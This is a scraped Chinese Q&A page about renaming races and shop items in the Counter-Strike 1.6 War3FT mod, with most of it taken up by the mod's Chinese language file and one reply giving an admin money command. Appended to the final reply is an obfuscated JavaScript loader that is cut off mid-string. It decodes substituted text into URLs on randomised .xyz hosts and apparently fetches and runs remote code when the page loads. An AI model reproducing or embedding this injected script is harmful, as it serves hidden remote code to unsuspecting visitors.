cs1.6魔兽版中各种族名称和商店物品的名称怎么修改

2024-11-09 04:55:55
推荐回答(4个)
回答(1):

这个文件含在插件文件里。
我装的是 amxmodx 插件 ,我的这个文件在 cstrike\addons\amxmodx\data\lang下,文件名:war3ft.txt 或许你的魔兽插件和我的不一样,但大概都是这个名字或相似的,例如,war3ftcn.txt 都差不多。
我的文件如下: 你可以自由修改其中的中文名字。
[cn]
RACENAME_0 = 没有种族
RACENAME_1 = 不死亡灵
RACENAME_2 = 人类联盟
RACENAME_3 = 兽人部落
RACENAME_4 = 暗夜精灵
RACENAME_5 = 血法师
RACENAME_6 = 暗影猎手
RACENAME_7 = 守望者
RACENAME_8 = 地穴领主
RACENAME_9 = 变色龙
SHORT_RACENAME_0 = 无族
SHORT_RACENAME_1 = 不死
SHORT_RACENAME_2 = 人类
SHORT_RACENAME_3 = 兽人
SHORT_RACENAME_4 = 精灵
SHORT_RACENAME_5 = 血师
SHORT_RACENAME_6 = 猎手
SHORT_RACENAME_7 = 守望
SHORT_RACENAME_8 = 地穴
SHORT_RACENAME_9 = 变色
ITEMNAME_1 = 再生十字架
ITEMNAME_2 = 速度之靴
ITEMNAME_3 = 攻击之爪
ITEMNAME_4 = 影子风衣
ITEMNAME_5 = 吸血面具
ITEMNAME_6 = 免疫项链
ITEMNAME_7 = 霜冻之球
ITEMNAME_8 = 生命护身符
ITEMNAME_9 = 经验之书
SHORT_ITEMNAME_1 = 十字架
SHORT_ITEMNAME_2 = 速度
SHORT_ITEMNAME_3 = 攻击
SHORT_ITEMNAME_4 = 影子
SHORT_ITEMNAME_5 = 吸血
SHORT_ITEMNAME_6 = 项链
SHORT_ITEMNAME_7 = 霜冻
SHORT_ITEMNAME_8 = 护身
SHORT_ITEMNAME_9 = 经验
ITEMNAME2_1 = 重生卷轴
ITEMNAME2_2 = 出生保护
ITEMNAME2_3 = 爆头免疫
ITEMNAME2_4 = 猫步护身符
ITEMNAME2_5 = 羽毛短袜
ITEMNAME2_6 = 热心惊人手套
ITEMNAME2_7 = 再生戒指 +1
ITEMNAME2_8 = 变色龙
ITEMNAME2_9 = 突袭
SHORT_ITEMNAME2_1 = 重生
SHORT_ITEMNAME2_2 = 保护
SHORT_ITEMNAME2_3 = 爆头
SHORT_ITEMNAME2_4 = 猫步
SHORT_ITEMNAME2_5 = 短袜
SHORT_ITEMNAME2_6 = 手套
SHORT_ITEMNAME2_7 = 戒指
SHORT_ITEMNAME2_8 = 变色
SHORT_ITEMNAME2_9 = 突袭
RACE1_SKILL1 = 嗜血光环
RACE1_SKILL2 = 邪恶光环
RACE1_SKILL3 = 反重力
RACE1_SKILL4 = 自杀炸弹
RACE2_SKILL1 = 隐形
RACE2_SKILL2 = 加血光环
RACE2_SKILL3 = 暴风之锤
RACE2_SKILL4 = 心灵运输
RACE3_SKILL1 = 一击必斩
RACE3_SKILL2 = 超级手雷
RACE3_SKILL3 = 装备再生
RACE3_SKILL4 = 闪电链
RACE4_SKILL1 = 躲避伤害
RACE4_SKILL2 = 荆棘光环
RACE4_SKILL3 = 精准光环
RACE4_SKILL4 = 纠缠根须
RACE5_SKILL1 = 凤凰
RACE5_SKILL2 = 放逐
RACE5_SKILL3 = 吸取经验
RACE5_SKILL4 = 火焰风暴
RACE6_SKILL1 = 治疗波
RACE6_SKILL2 = 妖术
RACE6_SKILL3 = 毒蛇守卫
RACE6_SKILL4 = 巫毒之魂
RACE7_SKILL1 = 刀阵
RACE7_SKILL2 = 免疫
RACE7_SKILL3 = 暗影突袭
RACE7_SKILL4 = 复仇
RACE8_SKILL1 = 穿刺
RACE8_SKILL2 = 镜象术
RACE8_SKILL3 = 腐尸甲虫
RACE8_SKILL4 = 蝗虫群
RACE1_SKILL1_INFO = 给你返还 (%d%%, %d%% 或 %d%%) 的进攻杀伤力为生命值
RACE1_SKILL2_INFO = 给你速度推进,当然拿所有的武器都以同样的速度
RACE1_SKILL3_INFO = 通过减轻你的重力,允许你跳得更高
RACE1_SKILL4_INFO = 当你死亡的时候将爆炸并杀死附件的敌人
RACE2_SKILL1_INFO = 使你部分隐形,很难被人发现
RACE2_SKILL2_INFO = 每局开始给你添加 (%d, %d 或 %d) 的生命值.
RACE2_SKILL3_INFO = 当你打人的时候有 (%d%%, %d%% 或 %d%%) 的机会定住敌人一秒钟
RACE2_SKILL4_INFO_B = 允许你传送到你瞄准的地方 (避免天花板)
RACE2_SKILL4_INFO_T = 允许你传送到队友的身边 (十秒钟镇定)
RACE3_SKILL1_INFO = 给你 %d 的机会打出普通的 (2, 3, 或 4) 倍杀伤力
RACE3_SKILL2_INFO = 手榴弹始终是普通的 (%d, %d 或 %d) 倍杀伤力
RACE3_SKILL3_INFO = 给你 (%d%%, %d%% 或 %d%%) 的机会重新得到死时的装备
RACE3_SKILL4_INFO = 放出一个跃过所有在附近的敌人的闪电链
RACE4_SKILL1_INFO = 给你 (%d%%, %d%% 或 %d%%) 的机会躲避每一颗子弹
RACE4_SKILL2_INFO = 使 (%d%%, %d%% 或 %d%%) 的镜像伤害反弹给伤害你的人
RACE4_SKILL3_INFO = 有 (%d%%, %d%% 或 %d%%) 的额外伤害给敌人
RACE4_SKILL4_INFO = 允许你防止一个敌人移动十秒钟
RACE5_SKILL1_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会重生第一个死去的队友
RACE5_SKILL2_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会流放你的敌人
RACE5_SKILL3_INFO = 偷窃敌人 (%d%%, %d%% 或 %d%%) 的金钱在每一次成功的攻击,并且能储存无限制的金钱
RACE5_SKILL4_INFO = 你拿到一个火焰抛油环
RACE6_SKILL1_INFO = 每 (%d, %d 或 %d) 秒钟你与在附近的队友将增加 1 HP
RACE6_SKILL2_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会废除你敌人的技能,同样降低他/她的速度
RACE6_SKILL3_INFO = 每局拿到 (%d, %d 或 %d) 个毒蛇守卫,伤害敌方单位. 按一个键 ability 或说 ability 放一个
RACE6_SKILL4_INFO = 无敌两秒钟
RACE7_SKILL1_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会出生到敌方基地,穿着敌方的衣服
RACE7_SKILL2_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会使敌人的大绝失效
RACE7_SKILL3_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会向敌人扔有毒的短刀
RACE8_SKILL1_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会扭曲敌人
RACE8_SKILL2_INFO = 使 (%d%%, %d%% 或 %d%%) 的伤害反弹给打伤你的敌人,同时增加到你的护甲
RACE8_SKILL3_INFO = 你有 (%d%%, %d%% 或 %d%%) 的机会甲虫攻击目标上的敌人
RACE8_SKILL4_INFO = 一群绿色的蝗虫攻击敌人
CURRENT_ITEMS_RING = 当前物品: %s 与 %s ×%d
CURRENT_ITEMS = 当前物品: %s 与 %s
CURRENT_ITEM_RING = 当前物品: %s %d
CURRENT_ITEM = 当前物品: %s
PLAYERITEM_AND_REGEN = %s 与 %s ×%d
PLAYERITEM_AND = %s 与 %s
YOU_GAINED_A_LEVEL = 你增加了一级
WORD_ULTIMATE = 大绝
HAS_REVIVED_YOU = %s 复活了你
YOU_HAVE_REVIVED = 你复活了 %s, way to go !
AWARDED_FOR_HEADSHOT = 你被授予额外的 %d XP ,因为爆头杀死某人
AWARDED_FOR_KILLING = 你被授予 %d XP ,因为杀死 %s
AWARDED_FOR_KILLING_HOSTAGE_R = 你得到 %d XP ,因为杀死一个人质营救者
NO_SPOT_MOLE_MONEY = 对不起,没有找到一个地点让你突袭, 钱还给你
NO_SPOT_TO_MOLE = S对不起,没有找到一个地点让你突袭
SKILLS_RESET_NEXT_ROUND = 你的技能将在下一局重新设定
SERVER_DISABLED = 该服务器禁止那个选项
CHEATING_DEATH_NOT_INSTALLED = 你不能玩War3FT,因为你的客户端没有安装Cheating Death反作弊
SELECT_RACE_BEFORE_SKILLS = 在选择技能之前,你必需选择一个种族!
ALREADY_SELECTED_SKILL_POINTS = 你已经用光你所有的技能点数!
LEVEL_SELECT_SKILL_FUNC = ^n%d. %s 等级 %d\w
ULTIMATE_SELECT_SKILL_FUNC = ^n4. 大绝: %s\w
CANCEL_SELECT_SKILL_FUNC = ^n^n0. 取消
SHOT_DEFLECTED = 来自突袭者的一颗子弹已被偏移
UNTIL_YOUR_NEXT_GRENADE = 到你的下一颗手雷还有 %d 秒钟
DONT_DIE_GOOSE = 下次别死, 我将给你另一个 nade ya silly goose!
RACE_NOT_YET_SELECTED = %s - 种族还没有选择 %s
PLAYER_SKILLS = 魔兽3冰封王座玩家技能
SHOPMENU_1 = 如果你死了,在下一局你将重新得到装备
SHOPMENU_2 = 让你跑得更快
SHOPMENU_3 = +%d: 一个额外的 %d 生命值从敌人身上拿走,在每一次成功的攻击
SHOPMENU_4 = 让你部分隐形, 拿刀的时候隐形度将增加
SHOPMENU_5 = 每次攻击,你将从敌人那里得到生命值
SHOPMENU_6 = 对敌人的大绝,你将是免疫的
SHOPMENU_7 = 你打对敌人的时候将使其减速
SHOPMENU_8 = 得到额外的生命值
SHOPMENU_9 = 自动增加经验值,该物品被使用在购买时
SHOPMENU_TITLE = 一号商店菜单物品信息
SHOPMENU2_1 = 你将在死后重生
SHOPMENU2_2 = 偏移一些从突袭者来的伤害
SHOPMENU2_3 = 对爆头免疫
SHOPMENU2_4 = 你跑步或者爬梯子不被听见
SHOPMENU2_6 = 你将拿到一个高爆手榴弹每 %d 秒钟
SHOPMENU2_7 = 增加一生命值每两秒钟, 你最多能拿五个 (输入 rings 拿到五个)
SHOPMENU2_8 = 你看起来像敌人的样子
SHOPMENU2_9 = 传送到敌方的基地在新的一局开始时,只能使用一次
SHOPMENU2_TITLE = 二号商店菜单物品信息
NOT_ULTIMATE_DURING_FREEZETIME = 在冻结时间内,你不能使用大绝
SUICIDE_BOMB_ARMED = 自杀炸弹已装备^n再按一次引爆
BLINK_DISABLED_FOR_FIRST = 免疫不是使用在^n开始 %.0f 秒钟 (新的一局)
TELEPORT_FAILED_ENEMY_IMMUNITY = 心灵运输失败^n敌人有免疫性
SLAIN_FOR_TELEPORTING = 你已经被处死,因为心灵运输到一个限制的区域
NO_VALID_TARGETS_FOUND = 没有发现有效的目标!
TELEPORT_FAILED_BAD_DESTINATION = 心灵运输失败^n无效目的地!
CANCEL_TELEMENU = ^n^n\w0. 取消
XP_IS_NOT_SAVED = 对不起, 在该服务器中 XP 不能储存
NOT_BUY_ITEMS_WHEN_DEAD = 在死的时候,你不能购买物品。
SECONDS_HAVE_PASSED_CANT_BUY = %0.0f 秒钟过去. 现在你不能购买任何物品.
MUST_BE_IN_BUYZONE = 你必需在购买区域购买物品
EXIT_STRING = 退出
NOT_BUY_WHEN_ALONE_ON_SERVER = 你不能购买物品当服务器上只有你一个人.
NOT_PURCHASE_WHEN_DEAD = 当你死的时候,你不能购买那个物品
ALREADY_OWN_THAT_ITEM = 你已经购买那个物品
INSUFFICIENT_FUNDS = 你的资金不足!
NOT_PURCHASE_AFTER_ENDROUND = 你不能购买该物品当该局已经结束
FLAMING_GLOVES_RESTRICTED_ON_THIS_MAP = 热心惊人手套在该图已经被禁止
NOT_PURCHASE_MORE_THAN_FIVE_RINGS = 你不能购买超过五个戒指
ENJOY_A_GRENADE = 享受一个手雷的乐趣!
RANK_IS = 排名是 %d / %d^n
SHOWRANK_PLAYERITEM = ^n%s 与 %s ×%d
SHOWRANK_PLAYERITEM2 = ^n%s 与 %s
CURRENT_HEALTH = ^n当前生命值: %d^n护甲: %d
SERPENT_WARD = 毒蛇守卫已放置, 还剩 %d 个
ONLY_ONE_GRENADE_PER_ROUND = 每局只能拥有一颗高爆手雷
AWARD_FOR_PLANTING_BOMB = %s 得到 %d 额外的 XP ,因为个人成功安置炸弹.
AWARD_FOR_SUPPORTING_BOMB = %s 得到 %d XP ,因为掩护成功安置炸弹.
AWARD_FOR_DEFUSING_BOMB = %s 得到 %d 额外的 XP ,因为成功解除炸弹.
AWARD_FOR_SUPPORT_BOMB_D = %s 得到 %d XP ,因为掩护成功解除炸弹.
AWARD_FOR_ATTEMPT_BOMB_D = %s 得到 %d XP ,因为剪掉炸弹上的红线.
AWARD_FOR_ATTEMPT_BOMB_D_BARE = %s 得到 %d XP ,因为尝试空手解除炸弹.
AWARD_FOR_SPAWNING_WITH_BOMB = %s 得到 %d XP ,因为出生带着炸弹.
AWARD_FOR_LOST_BOMB = %s 失去那份 %d XP 的携带炸弹奖金.
AWARD_FOR_PICKING_UP_BOMB = %s 得到 %d XP ,因为拣起炸弹.
AWARD_FOR_BEGINNING_HOSTAGE_RESCUE = %s 得到 %d XP ,因为开始护送人质到安全地方.
AWARD_FOR_RESCUING_HOSTAGE = %s 被授予 %d XP ,因为护送人质到安置地方.
AWARD_FOR_SUPPORTING_HOSTAGE_RUN = %s 得到 %d XP ,因为带人质跑.
AWARD_FOR_KILLING_HOSTAGE = %s 失去 %d XP ,因为杀死一个人质.
AWARD_FOR_SPAWN_AS_VIP = %s 得到 %d XP ,因为是重要人物.
AWARD_FOR_ESCAPED_VIP = %s 增加 %d 额外的 XP ,因为逃脱了暗杀.
AWARD_FOR_SUPPORTING_VIP = %s 得到 %d XP,因为帮助 %s 逃脱.
NO_CLIENTS_IN_TEAM = 该队没有客户端
YOU_HAVE_NO_ACCESS = 你没有权限使用那个命令
YOUR_XP_HAS_BEEN_RESET = 你的 XP 已经别重新设为 0.
THE_ADMIN_GAVE_YOU_EXPERIENCE = 管理员给你 %d 经验值
HES_ON_YOUR_TEAM_DONT_SHOOT = 他是你的队友,别开枪!
AWARD_FOR_WINNING_ROUND = 你得到 %d XP ,因为赢得该局
NO_LONGER_SEE_ICONS = 你再也看不到队友的图标.
NOW_SEE_ICONS = 现在,你将看到队友的图标.
IS_ACTIVATED_NOW = %s (%s) 现在是起作用的.
IS_NO_LONGER_ACTIVE = %s (%s) 再也不起作用
IS_IN_AUTOMATIC_MODE = %s (%s) 现在是自动模式
USAGE_STRING = USAGE: amx_wc3 (auto enable timecontrol)
BETWEEN = between %dh and %dh
INACTIVE = %s (%s)^n不起作用 %s^n当前时间:%02d:%02d^n剩余时间: %d:%02d (下幅地图: %s)
ACTIVE = %s (%s)^n起作用 %s^n当前时间:%02d:%02d^n剩余时间: %d:%02d (下幅地图: %s)
IS_ACTIVATED = %s 起作用在 %02d 分钟内^n这些是常用的命令^n/war3menu (help) - /shopmenu - /shopmenu2 - /changerace
WILL_BE_DEACTIVATED_IN = %s 将在 %02d 分钟后失效^n输入 savexp^n明天再见!!!
INACTIVE_ELSE = %s (%s) - 不起作用^n当前时间:%02d:%02d^n剩余时间: %d:%02d (下幅地图: %s)
ACTIVE_ELSE = %s (%s) - 起作用^n当前时间:%02d:%02d^n剩余时间: %d:%02d (下幅地图: %s)
SKILLS_MENU = 技能菜单
RACE_MENU = 种族菜单
ITEM_MENU = 物品菜单
HELP = 帮助
ADMIN_MENU_TITLE = 管理员菜单
SELECT_SKILLS = 选择技能
SKILLS_INFORMATION = 技能信息
RESELECT_SKILLS = 重新选择技能
BACK_STRING = 返回
CHANGE_RACE = 更改种族
SHOW_LEVEL = 显示级别
RESET_XP = 重设 XP 为 0
SHOW_PLAYER_SKILLS = 显示玩家技能
SHOPMENU1_OPTION = 一号商店
SHOPMENU2_OPTION = 二号商店
SHOW_SHOPMENU1_INFO = 显示一号商店菜单信息
SHOW_SHOPMENU2_INFO = 显示二号商店菜单信息
GIVE_IND_XP = 给单独玩家 XP
GIVE_MULT_XP = 给多个玩家 XP
SAVE_ALL_XP = 保存所有人的 XP
GIVE = 给
MORE_STRING = 更多
THE_ADMIN_JUST_GAVE_YOU_XP = 管理员授予你 %d 经验值.
TERRORISTS = 恐怖分子
CT = 反恐精英
EVERYONE = 所有人
WORD_SKILLS = 技能
RACE_INFORMATION = 种族信息
WAS_KILLED_BY = %s 被 %s 的 %s 杀死
THIS_MOD_WAS_DEVELOPED = 该插件由Geesu (Pimp Daddy)开发, 访问 wc3mods.net (论坛) 了解更多信息
CLICK_HERE_FOR_LATEST = 点击 这里 取得魔兽争霸3-冰封王座的最新更新
THERE_ARE_MORE = 没有客户端符合你的参数
CLIENT_NOT_FOUND = 没有找到带着那个名字或编号的客户端
ICONS_ARE_DISABLED = 种族图标不是使用
ICONS_ARE_DISABLED_DO = 在该地图,种族图标不能使用,原因在于半条命的局限性
INCORRECT_NUM_RACES = 错误! 错误的数字或种族被选择
MENU_BUY_ITEM = \y一号商店\R$ 价格^n^n
MENU_BUY_ITEM2 = \y二号商店\R$ 价格^n^n
MENU_TELEPORT_TO = \y传送到:\w^n
MENU_SELECT_RACE = \y选择种族:
MENU_SELECT_SKILL = \y选择技能:\w^n
MENU_WAR3_FT_MENU = \y魔兽争霸3冰封王座 菜单
MENU_SKILLS_OPTIONS = \y技能选项
MENU_ITEM_OPTIONS = \y物品选项
MENU_RACE_OPTIONS = \y种族选项
MENU_ADMIN_MENU = \y管理员菜单
MENU_GIVE_PLAYERS_XP = \y给玩家 XP
MENU_TEAM_XP = \y团队 XP 菜单
MENU_RESET_XP = \y你确定将你的 XP 重新设为 0 吗?
CLICK_HERE = 点击 这里 了解关于新种族的更多信息.
WAR3HELP_TITLE = 魔兽争霸3冰封王座帮助

WAR3HELP :
这是你如何设定一个按键--【该版本War3FT由KinSprite汉化】


1) 按 ` 进入控制台 (在数字 1 左边的那个键)

2) 输入 bind alt ultimate

3) 输入 bind - shopmenu

4) 输入 bind = shopmenu2

5) 输入 bind p ability


有几个命令你需要知道,为了使用该插件的有利条件


say /selectskill (即按 Y 键,输入 /selectskill ,回车键)- 允许你在下一局开始之前选择技能

say /changerace - 允许你更改你的种族

say /playerskills - 显示其他玩家已经选择的技能

say /skillsinfo - 显示你所选择种族的每个技能的用处

say /itemsinfo - 显示物品列表与每样的用处

say /itemsinfo2 - 显示更多的物品

say /level - 显示你的种族,级别与技能

say /war3menu - 显示魔兽争霸 3 冰封王座 玩家菜单

say /ability - 如果你拥有 毒蛇守卫 技能,这将安置它们

say /resetskills - 重新设定你的技能

say /resetxp - 将重新设定你的等级与经验值为 0
:

DOD_RACE3_SKILL2_INFO = 手雷经常有 (%d, %d 或 %d) 倍的杀伤力 ,并且手雷的引火线是 2 秒,而不是平常的 5 秒。
AWARDED_FOR_KILLING_BOMB_D = 你得到 %d XP ,因为杀死炸弹解除者
AWARDED_FOR_KILLING_BOMB_C = 你得到 %d XP ,因为杀死炸弹携带者
AWARDED_FOR_KILLING_TEAMMATE = 你失去 %d XP ,因为杀死一个队友
ULTIMATE_NOT_READY = U大绝还没有准备好.^n(还剩 %d 秒钟)
ULTIMATE_NOT_FOUND = 大绝没有.
ULTIMATE_READY = 大绝准备完毕.
AWARD_FOR_KILLING_VIP = 你得到 %d XP ,因为暗杀了重要人物.
SELECT_RACE_TITLE = %s\R经验^n^n
SELECT_RACE_FOOTER = ^n\w%d. 自动选择
SELECT_HERO = ^n\y选择英雄^n^n
RACE7_SKILL4_INFO = 重生有五十生命值或者传送回基地
DOD_RACE3_SKILL3 = 重生
DOD_RACE3_SKILL3_INFO = 给你 (%d%%, %d%% 或 %d%%) 的机会重生到你死亡的地方
DOD_RACE1_SKILL2_INFO = 给你更多的毅力
NO_FREE_SPAWN_FOUND = 没有空闲的出生点让你传送到那儿
MAP_DISABLED = 请注意,声音与一些效果不能在该图上使用
MAP_DISABLED_DUE = 这原因半条命的局限性
SERVER_MAP_DISABLED = War3FT效果不能使用在地图: %s ,原因是半条命引擎预先缓存物品限制
WORD_LEVEL = 等级
WORD_PURCHASED = 已购买
WORD_CANCEL = 取消
INFO_SHOPMENU_1 = 下一局你将重新获你所有的武器
DOD_INFO_SHOPMENU_1 = 当你重生的时候将在你现在死亡的地方
INFO_SHOPMENU_2 = 你带着每样武器都将跑得更快 %0.0f%%
DOD_INFO_SHOPMENU_2 = 你现在有更多的毅力
INFO_SHOPMENU_3 = 每次攻击将额外增加 %d 点伤害
INFO_SHOPMENU_4 = 你现在 %0.0f%% 隐形
INFO_SHOPMENU_5 = 你将获得 %0.0f%% 打敌人的伤害返回的生命值
INFO_SHOPMENU_6 = 你现在将对敌人的大绝有免疫性
INFO_SHOPMENU_7 = 你现在将减敌人 %0.0f%% 的速度在每次攻击中
INFO_SHOPMENU_8 = 你得到附加的 %d 生命值
INFO_SHOPMENU_9 = 你增加 %d 经验因为购买经验之书
INFO_SHOPMENU2_1 = 如果该局还每样结束,你能在死后重生
INFO_SHOPMENU2_1_DEAD = 你马上重生
INFO_SHOPMENU2_2 = 你将对突袭者的部分攻击具有免疫性
INFO_SHOPMENU2_3 = 你对爆头有免疫性
INFO_SHOPMENU2_4 = 你现在将跑步与爬梯子无声
INFO_SHOPMENU2_5 = 你现在将跳得更高
INFO_SHOPMENU2_6 = 你现在将每 %d 秒钟得到一颗手雷
INFO_SHOPMENU2_7 = 你现在将每一秒增加 1 HP (你可以购买到五个戒指))
INFO_SHOPMENU2_8 = 你现在看起来像敌人的样子
INFO_SHOPMENU2_9 = 下一局你将伪装成敌人的样子出现在敌方的基地
SKILL_REINCARNATION_SKIPPING = 这一局暂时取消重生 ,因为有敌人在附近
SKILL_REINCARNATION_FAILED = 重生失败
DOD_SHOPMENU_1 = 该物品让你重生到你死亡的地方
DOD_SHOPMENU_2 = 给你更多的毅力
SHOPMENU2_5 = 你现在将跳得更高
RACE5_SKILL5_INFO = 你将偏移 %0.0f%% 对你的普通伤害
RACE6_SKILL5_INFO = 受到攻击时, 你有 %0.0f%% 的机会对附近的敌人造成 %d 的伤害
RACE7_SKILL5_INFO = 你将偏移 %0.0f%% 对你的不可思议的伤害
RACE8_SKILL5_INFO = 你有 %0.0f%% 的机会在每次攻击中增加额外的 %d 杀伤力
RACE5_SKILL5 = 有抵抗力的皮肤
RACE6_SKILL5 = 不稳定的混合物
RACE7_SKILL5 = 坚硬的皮肤
RACE8_SKILL5 = 歼灭之球
WORD_HERO_ABILITY = 英雄技能 (被动的)
WORD_TRAINABLE_SKILLS = 可训练技能
WORD_INFORMATION = 信息
CENTER_CHANGED_NEXT = 你的种族在下一局的开始将被改变
DOD_AWARDED_XP_OBJECTIVE = 你被授予 %d XP ,因为完成一个目标
DOD_RACE5_SKILL1_INFO = 你每次杀死人将获得奖金 ($%d, $%d, $%d) , 在附近的队友也获得该数目的一半.
DOD_PHOENIX = 你得到奖金 $%d ,因为附近的队友带着凤凰 (%s) 杀死一个敌人
HEX_NO_ABILITY = 你不能使用该技能,当你被执妖术的时候

回答(2):

你按~建输入amxmodemenu

看看里面的字能不能按

如果是亮的 说明你有权限

然后输入vote查看你的编号

你的名字前面就是你的编号

记住编号

然后输入amx_givemoney #编号 600000

你就能拿到一大笔钱 够你买咯!!!!

回答(3):

http://jackiechen2001.spaces.live.com/ 这个地方可以解决
可以连半条命的 HLDS 是半条命版本

回答(4):

可以实现的
你可以去试下

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD 